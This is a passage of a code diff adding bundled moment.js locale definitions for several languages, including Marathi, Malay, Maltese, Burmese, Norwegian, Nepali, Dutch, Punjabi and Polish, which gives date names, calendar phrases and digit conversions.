function (e, t, i) { + if (e < 12) { + return "ҮӨ" + } else { + return "ҮХ" + } + }, + calendar: { + sameDay: "[Өнөөдөр] LT", + nextDay: "[Маргааш] LT", + nextWeek: "[Ирэх] dddd LT", + lastDay: "[Өчигдөр] LT", + lastWeek: "[Өнгөрсөн] dddd LT", + sameElse: "L" + }, + relativeTime: { + future: "%s дараа", + past: "%s өмнө", + s: t, + ss: t, + m: t, + mm: t, + h: t, + hh: t, + d: t, + dd: t, + M: t, + MM: t, + y: t, + yy: t + }, + dayOfMonthOrdinalParse: /\d{1,2} өдөр/, + ordinal: function (e, t) { + switch (t) { + case "d": + case "D": + case "DDD": + return e + " өдөр"; + default: + return e + } + } + }); + return i + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = { + 1: "१", + 2: "२", + 3: "३", + 4: "४", + 5: "५", + 6: "६", + 7: "७", + 8: "८", + 9: "९", + 0: "०" + }, + i = { + "१": "1", + "२": "2", + "३": "3", + "४": "4", + "५": "5", + "६": "6", + "७": "7", + "८": "8", + "९": "9", + "०": "0" + }; + + function n(e, t, i, n) { + var r = ""; + if (t) { + switch (i) { + case "s": + r = "काही सेकंद"; + break; + case "ss": + r = "%d सेकंद"; + break; + case "m": + r = "एक मिनिट"; + break; + case "mm": + r = "%d मिनिटे"; + break; + case "h": + r = "एक तास"; + break; + case "hh": + r = "%d तास"; + break; + case "d": + r = "एक दिवस"; + break; + case "dd": + r = "%d दिवस"; + break; + case "M": + r = "एक महिना"; + break; + case "MM": + r = "%d महिने"; + break; + case "y": + r = "एक वर्ष"; + break; + case "yy": + r = "%d वर्षे"; + break + } + } else { + switch (i) { + case "s": + r = "काही सेकंदां"; + break; + case "ss": + r = "%d सेकंदां"; + break; + case "m": + r = "एका मिनिटा"; + break; + case "mm": + r = "%d मिनिटां"; + break; + case "h": + r = "एका तासा"; + break; + case "hh": + r = "%d तासां"; + break; + case "d": + r = "एका दिवसा"; + break; + case "dd": + r = "%d दिवसां"; + break; + case "M": + r = "एका महिन्या"; + break; + case "MM": + r = "%d महिन्यां"; + break; + case "y": + r = "एका वर्षा"; + break; + case "yy": + r = "%d वर्षां"; + break + } + } + return r.replace(/%d/i, e) + } + var r = e.defineLocale("mr", { + months: "जानेवारी_फेब्रुवारी_मार्च_एप्रिल_मे_जून_जुलै_ऑगस्ट_सप्टेंबर_ऑक्टोबर_नोव्हेंबर_डिसेंबर".split("_"), + monthsShort: "जाने._फेब्रु._मार्च._एप्रि._मे._जून._जुलै._ऑग._सप्टें._ऑक्टो._नोव्हें._डिसें.".split("_"), + monthsParseExact: true, + weekdays: "रविवार_सोमवार_मंगळवार_बुधवार_गुरूवार_शुक्रवार_शनिवार".split("_"), + weekdaysShort: "रवि_सोम_मंगळ_बुध_गुरू_शुक्र_शनि".split("_"), + weekdaysMin: "र_सो_मं_बु_गु_शु_श".split("_"), + longDateFormat: { + LT: "A h:mm वाजता", + LTS: "A h:mm:ss वाजता", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY, A h:mm वाजता", + LLLL: "dddd, D MMMM YYYY, A h:mm वाजता" + }, + calendar: { + sameDay: "[आज] LT", + nextDay: "[उद्या] LT", + nextWeek: "dddd, LT", + lastDay: "[काल] LT", + lastWeek: "[मागील] dddd, LT", + sameElse: "L" + }, + relativeTime: { + future: "%sमध्ये", + past: "%sपूर्वी", + s: n, + ss: n, + m: n, + mm: n, + h: n, + hh: n, + d: n, + dd: n, + M: n, + MM: n, + y: n, + yy: n + }, + preparse: function (e) { + return e.replace(/[१२३४५६७८९०]/g, function (e) { + return i[e] + }) + }, + postformat: function (e) { + return e.replace(/\d/g, function (e) { + return t[e] + }) + }, + meridiemParse: /रात्री|सकाळी|दुपारी|सायंकाळी/, + meridiemHour: function (e, t) { + if (e === 12) { + e = 0 + } + if (t === "रात्री") { + return e < 4 ? e : e + 12 + } else if (t === "सकाळी") { + return e + } else if (t === "दुपारी") { + return e >= 10 ? e : e + 12 + } else if (t === "सायंकाळी") { + return e + 12 + } + }, + meridiem: function (e, t, i) { + if (e < 4) { + return "रात्री" + } else if (e < 10) { + return "सकाळी" + } else if (e < 17) { + return "दुपारी" + } else if (e < 20) { + return "सायंकाळी" + } else { + return "रात्री" + } + }, + week: { + dow: 0, + doy: 6 + } + }); + return r + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("ms", { + months: "Januari_Februari_Mac_April_Mei_Jun_Julai_Ogos_September_Oktober_November_Disember".split("_"), + monthsShort: "Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ogs_Sep_Okt_Nov_Dis".split("_"), + weekdays: "Ahad_Isnin_Selasa_Rabu_Khamis_Jumaat_Sabtu".split("_"), + weekdaysShort: "Ahd_Isn_Sel_Rab_Kha_Jum_Sab".split("_"), + weekdaysMin: "Ah_Is_Sl_Rb_Km_Jm_Sb".split("_"), + longDateFormat: { + LT: "HH.mm", + LTS: "HH.mm.ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY [pukul] HH.mm", + LLLL: "dddd, D MMMM YYYY [pukul] HH.mm" + }, + meridiemParse: /pagi|tengahari|petang|malam/, + meridiemHour: function (e, t) { + if (e === 12) { + e = 0 + } + if (t === "pagi") { + return e + } else if (t === "tengahari") { + return e >= 11 ? e : e + 12 + } else if (t === "petang" || t === "malam") { + return e + 12 + } + }, + meridiem: function (e, t, i) { + if (e < 11) { + return "pagi" + } else if (e < 15) { + return "tengahari" + } else if (e < 19) { + return "petang" + } else { + return "malam" + } + }, + calendar: { + sameDay: "[Hari ini pukul] LT", + nextDay: "[Esok pukul] LT", + nextWeek: "dddd [pukul] LT", + lastDay: "[Kelmarin pukul] LT", + lastWeek: "dddd [lepas pukul] LT", + sameElse: "L" + }, + relativeTime: { + future: "dalam %s", + past: "%s yang lepas", + s: "beberapa saat", + ss: "%d saat", + m: "seminit", + mm: "%d minit", + h: "sejam", + hh: "%d jam", + d: "sehari", + dd: "%d hari", + M: "sebulan", + MM: "%d bulan", + y: "setahun", + yy: "%d tahun" + }, + week: { + dow: 1, + doy: 7 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("ms-my", { + months: "Januari_Februari_Mac_April_Mei_Jun_Julai_Ogos_September_Oktober_November_Disember".split("_"), + monthsShort: "Jan_Feb_Mac_Apr_Mei_Jun_Jul_Ogs_Sep_Okt_Nov_Dis".split("_"), + weekdays: "Ahad_Isnin_Selasa_Rabu_Khamis_Jumaat_Sabtu".split("_"), + weekdaysShort: "Ahd_Isn_Sel_Rab_Kha_Jum_Sab".split("_"), + weekdaysMin: "Ah_Is_Sl_Rb_Km_Jm_Sb".split("_"), + longDateFormat: { + LT: "HH.mm", + LTS: "HH.mm.ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY [pukul] HH.mm", + LLLL: "dddd, D MMMM YYYY [pukul] HH.mm" + }, + meridiemParse: /pagi|tengahari|petang|malam/, + meridiemHour: function (e, t) { + if (e === 12) { + e = 0 + } + if (t === "pagi") { + return e + } else if (t === "tengahari") { + return e >= 11 ? e : e + 12 + } else if (t === "petang" || t === "malam") { + return e + 12 + } + }, + meridiem: function (e, t, i) { + if (e < 11) { + return "pagi" + } else if (e < 15) { + return "tengahari" + } else if (e < 19) { + return "petang" + } else { + return "malam" + } + }, + calendar: { + sameDay: "[Hari ini pukul] LT", + nextDay: "[Esok pukul] LT", + nextWeek: "dddd [pukul] LT", + lastDay: "[Kelmarin pukul] LT", + lastWeek: "dddd [lepas pukul] LT", + sameElse: "L" + }, + relativeTime: { + future: "dalam %s", + past: "%s yang lepas", + s: "beberapa saat", + ss: "%d saat", + m: "seminit", + mm: "%d minit", + h: "sejam", + hh: "%d jam", + d: "sehari", + dd: "%d hari", + M: "sebulan", + MM: "%d bulan", + y: "setahun", + yy: "%d tahun" + }, + week: { + dow: 1, + doy: 7 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("mt", { + months: "Jannar_Frar_Marzu_April_Mejju_Ġunju_Lulju_Awwissu_Settembru_Ottubru_Novembru_Diċembru".split("_"), + monthsShort: "Jan_Fra_Mar_Apr_Mej_Ġun_Lul_Aww_Set_Ott_Nov_Diċ".split("_"), + weekdays: "Il-Ħadd_It-Tnejn_It-Tlieta_L-Erbgħa_Il-Ħamis_Il-Ġimgħa_Is-Sibt".split("_"), + weekdaysShort: "Ħad_Tne_Tli_Erb_Ħam_Ġim_Sib".split("_"), + weekdaysMin: "Ħa_Tn_Tl_Er_Ħa_Ġi_Si".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd, D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[Illum fil-]LT", + nextDay: "[Għada fil-]LT", + nextWeek: "dddd [fil-]LT", + lastDay: "[Il-bieraħ fil-]LT", + lastWeek: "dddd [li għadda] [fil-]LT", + sameElse: "L" + }, + relativeTime: { + future: "f’ %s", + past: "%s ilu", + s: "ftit sekondi", + ss: "%d sekondi", + m: "minuta", + mm: "%d minuti", + h: "siegħa", + hh: "%d siegħat", + d: "ġurnata", + dd: "%d ġranet", + M: "xahar", + MM: "%d xhur", + y: "sena", + yy: "%d sni" + }, + dayOfMonthOrdinalParse: /\d{1,2}º/, + ordinal: "%dº", + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = { + 1: "၁", + 2: "၂", + 3: "၃", + 4: "၄", + 5: "၅", + 6: "၆", + 7: "၇", + 8: "၈", + 9: "၉", + 0: "၀" + }, + i = { + "၁": "1", + "၂": "2", + "၃": "3", + "၄": "4", + "၅": "5", + "၆": "6", + "၇": "7", + "၈": "8", + "၉": "9", + "၀": "0" + }; + var n = e.defineLocale("my", { + months: "ဇန်နဝါရီ_ဖေဖော်ဝါရီ_မတ်_ဧပြီ_မေ_ဇွန်_ဇူလိုင်_သြဂုတ်_စက်တင်ဘာ_အောက်တိုဘာ_နိုဝင်ဘာ_ဒီဇင်ဘာ".split("_"), + monthsShort: "ဇန်_ဖေ_မတ်_ပြီ_မေ_ဇွန်_လိုင်_သြ_စက်_အောက်_နို_ဒီ".split("_"), + weekdays: "တနင်္ဂနွေ_တနင်္လာ_အင်္ဂါ_ဗုဒ္ဓဟူး_ကြာသပတေး_သောကြာ_စနေ".split("_"), + weekdaysShort: "နွေ_လာ_ဂါ_ဟူး_ကြာ_သော_နေ".split("_"), + weekdaysMin: "နွေ_လာ_ဂါ_ဟူး_ကြာ_သော_နေ".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[ယနေ.] LT [မှာ]", + nextDay: "[မနက်ဖြန်] LT [မှာ]", + nextWeek: "dddd LT [မှာ]", + lastDay: "[မနေ.က] LT [မှာ]", + lastWeek: "[ပြီးခဲ့သော] dddd LT [မှာ]", + sameElse: "L" + }, + relativeTime: { + future: "လာမည့် %s မှာ", + past: "လွန်ခဲ့သော %s က", + s: "စက္ကန်.အနည်းငယ်", + ss: "%d စက္ကန့်", + m: "တစ်မိနစ်", + mm: "%d မိနစ်", + h: "တစ်နာရီ", + hh: "%d နာရီ", + d: "တစ်ရက်", + dd: "%d ရက်", + M: "တစ်လ", + MM: "%d လ", + y: "တစ်နှစ်", + yy: "%d နှစ်" + }, + preparse: function (e) { + return e.replace(/[၁၂၃၄၅၆၇၈၉၀]/g, function (e) { + return i[e] + }) + }, + postformat: function (e) { + return e.replace(/\d/g, function (e) { + return t[e] + }) + }, + week: { + dow: 1, + doy: 4 + } + }); + return n + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("nb", { + months: "januar_februar_mars_april_mai_juni_juli_august_september_oktober_november_desember".split("_"), + monthsShort: "jan._feb._mars_april_mai_juni_juli_aug._sep._okt._nov._des.".split("_"), + monthsParseExact: true, + weekdays: "søndag_mandag_tirsdag_onsdag_torsdag_fredag_lørdag".split("_"), + weekdaysShort: "sø._ma._ti._on._to._fr._lø.".split("_"), + weekdaysMin: "sø_ma_ti_on_to_fr_lø".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD.MM.YYYY", + LL: "D. MMMM YYYY", + LLL: "D. MMMM YYYY [kl.] HH:mm", + LLLL: "dddd D. MMMM YYYY [kl.] HH:mm" + }, + calendar: { + sameDay: "[i dag kl.] LT", + nextDay: "[i morgen kl.] LT", + nextWeek: "dddd [kl.] LT", + lastDay: "[i går kl.] LT", + lastWeek: "[forrige] dddd [kl.] LT", + sameElse: "L" + }, + relativeTime: { + future: "om %s", + past: "%s siden", + s: "noen sekunder", + ss: "%d sekunder", + m: "ett minutt", + mm: "%d minutter", + h: "en time", + hh: "%d timer", + d: "en dag", + dd: "%d dager", + M: "en måned", + MM: "%d måneder", + y: "ett år", + yy: "%d år" + }, + dayOfMonthOrdinalParse: /\d{1,2}\./, + ordinal: "%d.", + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = { + 1: "१", + 2: "२", + 3: "३", + 4: "४", + 5: "५", + 6: "६", + 7: "७", + 8: "८", + 9: "९", + 0: "०" + }, + i = { + "१": "1", + "२": "2", + "३": "3", + "४": "4", + "५": "5", + "६": "6", + "७": "7", + "८": "8", + "९": "9", + "०": "0" + }; + var n = e.defineLocale("ne", { + months: "जनवरी_फेब्रुवरी_मार्च_अप्रिल_मई_जुन_जुलाई_अगष्ट_सेप्टेम्बर_अक्टोबर_नोभेम्बर_डिसेम्बर".split("_"), + monthsShort: "जन._फेब्रु._मार्च_अप्रि._मई_जुन_जुलाई._अग._सेप्ट._अक्टो._नोभे._डिसे.".split("_"), + monthsParseExact: true, + weekdays: "आइतबार_सोमबार_मङ्गलबार_बुधबार_बिहिबार_शुक्रबार_शनिबार".split("_"), + weekdaysShort: "आइत._सोम._मङ्गल._बुध._बिहि._शुक्र._शनि.".split("_"), + weekdaysMin: "आ._सो._मं._बु._बि._शु._श.".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "Aको h:mm बजे", + LTS: "Aको h:mm:ss बजे", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY, Aको h:mm बजे", + LLLL: "dddd, D MMMM YYYY, Aको h:mm बजे" + }, + preparse: function (e) { + return e.replace(/[१२३४५६७८९०]/g, function (e) { + return i[e] + }) + }, + postformat: function (e) { + return e.replace(/\d/g, function (e) { + return t[e] + }) + }, + meridiemParse: /राति|बिहान|दिउँसो|साँझ/, + meridiemHour: function (e, t) { + if (e === 12) { + e = 0 + } + if (t === "राति") { + return e < 4 ? e : e + 12 + } else if (t === "बिहान") { + return e + } else if (t === "दिउँसो") { + return e >= 10 ? e : e + 12 + } else if (t === "साँझ") { + return e + 12 + } + }, + meridiem: function (e, t, i) { + if (e < 3) { + return "राति" + } else if (e < 12) { + return "बिहान" + } else if (e < 16) { + return "दिउँसो" + } else if (e < 20) { + return "साँझ" + } else { + return "राति" + } + }, + calendar: { + sameDay: "[आज] LT", + nextDay: "[भोलि] LT", + nextWeek: "[आउँदो] dddd[,] LT", + lastDay: "[हिजो] LT", + lastWeek: "[गएको] dddd[,] LT", + sameElse: "L" + }, + relativeTime: { + future: "%sमा", + past: "%s अगाडि", + s: "केही क्षण", + ss: "%d सेकेण्ड", + m: "एक मिनेट", + mm: "%d मिनेट", + h: "एक घण्टा", + hh: "%d घण्टा", + d: "एक दिन", + dd: "%d दिन", + M: "एक महिना", + MM: "%d महिना", + y: "एक बर्ष", + yy: "%d बर्ष" + }, + week: { + dow: 0, + doy: 6 + } + }); + return n + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = "jan._feb._mrt._apr._mei_jun._jul._aug._sep._okt._nov._dec.".split("_"), + i = "jan_feb_mrt_apr_mei_jun_jul_aug_sep_okt_nov_dec".split("_"); + var n = [/^jan/i, /^feb/i, /^maart|mrt.?$/i, /^apr/i, /^mei$/i, /^jun[i.]?$/i, /^jul[i.]?$/i, /^aug/i, /^sep/i, /^okt/i, /^nov/i, /^dec/i]; + var r = /^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december|jan\.?|feb\.?|mrt\.?|apr\.?|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i; + var a = e.defineLocale("nl", { + months: "januari_februari_maart_april_mei_juni_juli_augustus_september_oktober_november_december".split("_"), + monthsShort: function (e, n) { + if (!e) { + return t + } else if (/-MMM-/.test(n)) { + return i[e.month()] + } else { + return t[e.month()] + } + }, + monthsRegex: r, + monthsShortRegex: r, + monthsStrictRegex: /^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december)/i, + monthsShortStrictRegex: /^(jan\.?|feb\.?|mrt\.?|apr\.?|mei|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i, + monthsParse: n, + longMonthsParse: n, + shortMonthsParse: n, + weekdays: "zondag_maandag_dinsdag_woensdag_donderdag_vrijdag_zaterdag".split("_"), + weekdaysShort: "zo._ma._di._wo._do._vr._za.".split("_"), + weekdaysMin: "zo_ma_di_wo_do_vr_za".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD-MM-YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[vandaag om] LT", + nextDay: "[morgen om] LT", + nextWeek: "dddd [om] LT", + lastDay: "[gisteren om] LT", + lastWeek: "[afgelopen] dddd [om] LT", + sameElse: "L" + }, + relativeTime: { + future: "over %s", + past: "%s geleden", + s: "een paar seconden", + ss: "%d seconden", + m: "één minuut", + mm: "%d minuten", + h: "één uur", + hh: "%d uur", + d: "één dag", + dd: "%d dagen", + M: "één maand", + MM: "%d maanden", + y: "één jaar", + yy: "%d jaar" + }, + dayOfMonthOrdinalParse: /\d{1,2}(ste|de)/, + ordinal: function (e) { + return e + (e === 1 || e === 8 || e >= 20 ? "ste" : "de") + }, + week: { + dow: 1, + doy: 4 + } + }); + return a + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = "jan._feb._mrt._apr._mei_jun._jul._aug._sep._okt._nov._dec.".split("_"), + i = "jan_feb_mrt_apr_mei_jun_jul_aug_sep_okt_nov_dec".split("_"); + var n = [/^jan/i, /^feb/i, /^maart|mrt.?$/i, /^apr/i, /^mei$/i, /^jun[i.]?$/i, /^jul[i.]?$/i, /^aug/i, /^sep/i, /^okt/i, /^nov/i, /^dec/i]; + var r = /^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december|jan\.?|feb\.?|mrt\.?|apr\.?|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i; + var a = e.defineLocale("nl-be", { + months: "januari_februari_maart_april_mei_juni_juli_augustus_september_oktober_november_december".split("_"), + monthsShort: function (e, n) { + if (!e) { + return t + } else if (/-MMM-/.test(n)) { + return i[e.month()] + } else { + return t[e.month()] + } + }, + monthsRegex: r, + monthsShortRegex: r, + monthsStrictRegex: /^(januari|februari|maart|april|mei|ju[nl]i|augustus|september|oktober|november|december)/i, + monthsShortStrictRegex: /^(jan\.?|feb\.?|mrt\.?|apr\.?|mei|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i, + monthsParse: n, + longMonthsParse: n, + shortMonthsParse: n, + weekdays: "zondag_maandag_dinsdag_woensdag_donderdag_vrijdag_zaterdag".split("_"), + weekdaysShort: "zo._ma._di._wo._do._vr._za.".split("_"), + weekdaysMin: "zo_ma_di_wo_do_vr_za".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[vandaag om] LT", + nextDay: "[morgen om] LT", + nextWeek: "dddd [om] LT", + lastDay: "[gisteren om] LT", + lastWeek: "[afgelopen] dddd [om] LT", + sameElse: "L" + }, + relativeTime: { + future: "over %s", + past: "%s geleden", + s: "een paar seconden", + ss: "%d seconden", + m: "één minuut", + mm: "%d minuten", + h: "één uur", + hh: "%d uur", + d: "één dag", + dd: "%d dagen", + M: "één maand", + MM: "%d maanden", + y: "één jaar", + yy: "%d jaar" + }, + dayOfMonthOrdinalParse: /\d{1,2}(ste|de)/, + ordinal: function (e) { + return e + (e === 1 || e === 8 || e >= 20 ? "ste" : "de") + }, + week: { + dow: 1, + doy: 4 + } + }); + return a + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("nn", { + months: "januar_februar_mars_april_mai_juni_juli_august_september_oktober_november_desember".split("_"), + monthsShort: "jan_feb_mar_apr_mai_jun_jul_aug_sep_okt_nov_des".split("_"), + weekdays: "sundag_måndag_tysdag_onsdag_torsdag_fredag_laurdag".split("_"), + weekdaysShort: "sun_mån_tys_ons_tor_fre_lau".split("_"), + weekdaysMin: "su_må_ty_on_to_fr_lø".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD.MM.YYYY", + LL: "D. MMMM YYYY", + LLL: "D. MMMM YYYY [kl.] H:mm", + LLLL: "dddd D. MMMM YYYY [kl.] HH:mm" + }, + calendar: { + sameDay: "[I dag klokka] LT", + nextDay: "[I morgon klokka] LT", + nextWeek: "dddd [klokka] LT", + lastDay: "[I går klokka] LT", + lastWeek: "[Føregåande] dddd [klokka] LT", + sameElse: "L" + }, + relativeTime: { + future: "om %s", + past: "%s sidan", + s: "nokre sekund", + ss: "%d sekund", + m: "eit minutt", + mm: "%d minutt", + h: "ein time", + hh: "%d timar", + d: "ein dag", + dd: "%d dagar", + M: "ein månad", + MM: "%d månader", + y: "eit år", + yy: "%d år" + }, + dayOfMonthOrdinalParse: /\d{1,2}\./, + ordinal: "%d.", + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = { + 1: "੧", + 2: "੨", + 3: "੩", + 4: "੪", + 5: "੫", + 6: "੬", + 7: "੭", + 8: "੮", + 9: "੯", + 0: "੦" + }, + i = { + "੧": "1", + "੨": "2", + "੩": "3", + "੪": "4", + "੫": "5", + "੬": "6", + "੭": "7", + "੮": "8", + "੯": "9", + "੦": "0" + }; + var n = e.defineLocale("pa-in", { + months: "ਜਨਵਰੀ_ਫ਼ਰਵਰੀ_ਮਾਰਚ_ਅਪ੍ਰੈਲ_ਮਈ_ਜੂਨ_ਜੁਲਾਈ_ਅਗਸਤ_ਸਤੰਬਰ_ਅਕਤੂਬਰ_ਨਵੰਬਰ_ਦਸੰਬਰ".split("_"), + monthsShort: "ਜਨਵਰੀ_ਫ਼ਰਵਰੀ_ਮਾਰਚ_ਅਪ੍ਰੈਲ_ਮਈ_ਜੂਨ_ਜੁਲਾਈ_ਅਗਸਤ_ਸਤੰਬਰ_ਅਕਤੂਬਰ_ਨਵੰਬਰ_ਦਸੰਬਰ".split("_"), + weekdays: "ਐਤਵਾਰ_ਸੋਮਵਾਰ_ਮੰਗਲਵਾਰ_ਬੁਧਵਾਰ_ਵੀਰਵਾਰ_ਸ਼ੁੱਕਰਵਾਰ_ਸ਼ਨੀਚਰਵਾਰ".split("_"), + weekdaysShort: "ਐਤ_ਸੋਮ_ਮੰਗਲ_ਬੁਧ_ਵੀਰ_ਸ਼ੁਕਰ_ਸ਼ਨੀ".split("_"), + weekdaysMin: "ਐਤ_ਸੋਮ_ਮੰਗਲ_ਬੁਧ_ਵੀਰ_ਸ਼ੁਕਰ_ਸ਼ਨੀ".split("_"), + longDateFormat: { + LT: "A h:mm ਵਜੇ", + LTS: "A h:mm:ss ਵਜੇ", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY, A h:mm ਵਜੇ", + LLLL: "dddd, D MMMM YYYY, A h:mm ਵਜੇ" + }, + calendar: { + sameDay: "[ਅਜ] LT", + nextDay: "[ਕਲ] LT", + nextWeek: "[ਅਗਲਾ] dddd, LT", + lastDay: "[ਕਲ] LT", + lastWeek: "[ਪਿਛਲੇ] dddd, LT", + sameElse: "L" + }, + relativeTime: { + future: "%s ਵਿੱਚ", + past: "%s ਪਿਛਲੇ", + s: "ਕੁਝ ਸਕਿੰਟ", + ss: "%d ਸਕਿੰਟ", + m: "ਇਕ ਮਿੰਟ", + mm: "%d ਮਿੰਟ", + h: "ਇੱਕ ਘੰਟਾ", + hh: "%d ਘੰਟੇ", + d: "ਇੱਕ ਦਿਨ", + dd: "%d ਦਿਨ", + M: "ਇੱਕ ਮਹੀਨਾ", + MM: "%d ਮਹੀਨੇ", + y: "ਇੱਕ ਸਾਲ", + yy: "%d ਸਾਲ" + }, + preparse: function (e) { + return e.replace(/[੧੨੩੪੫੬੭੮੯੦]/g, function (e) { + return i[e] + }) + }, + postformat: function (e) { + return e.replace(/\d/g, function (e) { + return t[e] + }) + }, + meridiemParse: /ਰਾਤ|ਸਵੇਰ|ਦੁਪਹਿਰ|ਸ਼ਾਮ/, + meridiemHour: function (e, t) { + if (e === 12) { + e = 0 + } + if (t === "ਰਾਤ") { + return e < 4 ? e : e + 12 + } else if (t === "ਸਵੇਰ") { + return e + } else if (t === "ਦੁਪਹਿਰ") { + return e >= 10 ? e : e + 12 + } else if (t === "ਸ਼ਾਮ") { + return e + 12 + } + }, + meridiem: function (e, t, i) { + if (e < 4) { + return "ਰਾਤ" + } else if (e < 10) { + return "ਸਵੇਰ" + } else if (e < 17) { + return "ਦੁਪਹਿਰ" + } else if (e < 20) { + return "ਸ਼ਾਮ" + } else { + return "ਰਾਤ" + } + }, + week: { + dow: 0, + doy: 6 + } + }); + return n + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = "styczeń_luty_marzec_kwiecień_maj_czerwiec_lipiec_sierpień_wrzesień_październik_listopad_grudzień".split("_"), + i = "stycznia_lutego_marca_kwietnia_maja_czerwca_lipca_sierpnia_września_października_listopada_grudnia".split("_"); + + function n(e) { + return e % 10 < 5 && e % 10 > 1 && ~~(e / 10) % 10 !== 1 + } + + function r(e, t, i) { + var r = e + " "; + switch (i) { + case "ss": + return r + (n(e) ? "sekundy" : "sekund"); + case "m": + return t ? "minuta" : "minutę"; + case "mm": + return r + (n(e) ? "minuty" : "minut"); + case "h": + return t ? "godzina" : "godzinę"; + case "hh": + return r + (n(e) ? "godziny" : "godzin"); + case "MM": + return r + (n(e) ? "miesiące" : "miesięcy"); + case "yy": + return r + (n(e) ? "lata" : "lat") + } + } + var a = e.defineLocale("pl", { + months: function (e, n) { + if (!e) { + return t + } else if (n === "") { + return "(" + i[e.month()] + "|" + t[e.month()] + ")" + } else if (/D MMMM/.test(n)) { + return i[e.month()] + } else { + return t[e.month()] + } + }, + monthsShort: "sty_lut_mar_kwi_maj_cze_lip_sie_wrz_paź_lis_gru".split("_"), + weekdays: "niedziela_poniedziałek_wtorek_środa_czwartek_piątek_sobota".split("_"), + weekdaysShort: "ndz_pon_wt_śr_czw_pt_sob".split("_"), + weekdaysMin: "Nd_Pn_Wt_Śr_Cz_Pt_So".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD.MM.YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd, D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[Dziś o] LT", + nextDay: "[Jutro o] LT", + nextWeek: function () { + switch (this.day()) { + case 0: + return "[W niedzielę o] LT"; + case 2: + return "[We wtorek o] LT"; + case 3: + return "[W środę o] LT"; + case 6: + return "[W sobotę o] LT"; + default: + return "[W] dddd [o] LT" + } + }, + lastDay: "[Wczoraj o] LT", + lastWeek: function () { + switch (this.day()) { + case 0: + return "[W zeszłą niedzielę o] 